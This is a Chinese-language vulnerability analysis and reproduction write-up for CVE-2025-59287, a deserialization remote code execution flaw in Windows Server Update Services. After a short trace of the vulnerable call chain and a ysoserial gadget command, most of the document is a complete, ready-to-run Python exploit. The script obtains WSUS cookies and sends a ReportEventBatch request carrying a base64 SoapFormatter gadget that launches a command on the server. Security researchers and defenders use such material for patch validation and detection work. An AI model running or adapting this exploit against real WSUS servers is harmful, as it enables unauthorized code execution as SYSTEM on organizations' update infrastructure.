Windows Server Update Services 远程代码执行漏洞(CVE-2025-59287)

环境搭建:

参考官方文档:https://learn.microsoft.com/zh-cn/windows-server/administration/windows-server-update-services/deploy/1-install-the-wsus-server-role?tabs=server-manager

成功访问 http://ip:8530 代表安装成功

漏洞分析:

漏洞触发的关键点在 PopulateSubscriptionEventProperties 中,text 会从 MiscData 中获取 SynchronizationUpdateErrorsKey 值然后传递给 BaseEvent.ConvertXmlToObject 函数。

Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.PopulateSubscriptionEventProperties

BaseEvent.ConvertXmlToObject 函数将XML字符串转换为对象并调用 SoapUtilities.DeserializeObject 函数。

Microsoft.UpdateServices.Internal.BaseApi.BaseEvent.ConvertXmlToObject

SoapUtilities.DeserializeObject 函数直接调用 soapFormatter.Deserialize 处理反序列对象从而造成漏洞。

Microsoft.UpdateServices.Internal.SoapUtilities.DeserializeObject

可以构造如下数据格式:

1
2
3
4
<MiscData>
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey=(SoapFormatter Gadget)</string>
</MiscData>

使用 ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c “notepad.exe” 生成反序列化数据

漏洞复现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#!/usr/bin/env python3

import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import sys
import uuid
from xml.sax.saxutils import escape

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_auth_cookie(target, server_id=None):
url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}

if server_id is None:
server_id = str(uuid.uuid4())

soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>qaxcert.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>'''

try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'CookieData' in elem.tag and elem.text:
print(f"[+] Using ID: {server_id}")
return elem.text
except Exception as e:
print(f"[-] Auth cookie error: {e}")
return None

def get_server_id(target):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
headers = {
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
'Content-Type': 'text/xml'
}

soap_body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>'''

try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)

if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'ServerId' in elem.tag and elem.text:
print(f"[+] Server ID: {elem.text}")
return elem.text
except Exception as e:
print(f"[-] Server ID error: {e}")

fallback_id = str(uuid.uuid4())
print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id

def get_reporting_cookie(target, auth_cookie):
url = f"{target}/ClientWebService/Client.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}

timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')

soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{timenow}</lastChange>
<currentTime>{timenow}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>'''

try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
cookie_data = {}
for elem in root.iter():
if 'Expiration' in elem.tag:
cookie_data['expiration'] = elem.text
elif 'EncryptedData' in elem.tag:
cookie_data['encrypted_data'] = elem.text
if 'encrypted_data' in cookie_data:
return cookie_data
except:
pass
return None

def send_malicious_event(target, cookie):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"

target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''

soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{timenow}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{timenow}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>'''

headers = {
'Connection': 'Keep-Alive',
'Content-Type': 'text/xml',
'Accept': 'text/xml',
'User-Agent': 'Windows-Update-Agent',
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
'Host': target.replace('http://', '').replace('https://', '')
}

try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)

if response.status_code == 200 and 'true' in response.text:
return True, event_instance_id, target_sid
else:
return False, None, None
except Exception as e:
print(f"[DEBUG] Exception: {e}")
return False, None, None

def main():
if len(sys.argv) < 2:
print("Usage: python HawkTrace.py <target_url>")
print("Example: python HawkTrace.py http://192.168.1.100:8530")
sys.exit(1)

target = sys.argv[1]

print()
print("[+] Getting Server ID...")
server_id = get_server_id(target)

print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target, server_id)
if not auth_cookie:
print("[-] Failed")
return
cookie = get_reporting_cookie(target, auth_cookie)
if not cookie:
print("[-] Failed")
return

print("[+] Sending event with payload...")
success, event_id, target_sid = send_malicious_event(target, cookie)

if success:
print("[+] SUCCESS!")
print("[!] RCE will trigger!")
else:
print("[-] Failed")

if __name__ == "__main__":
main()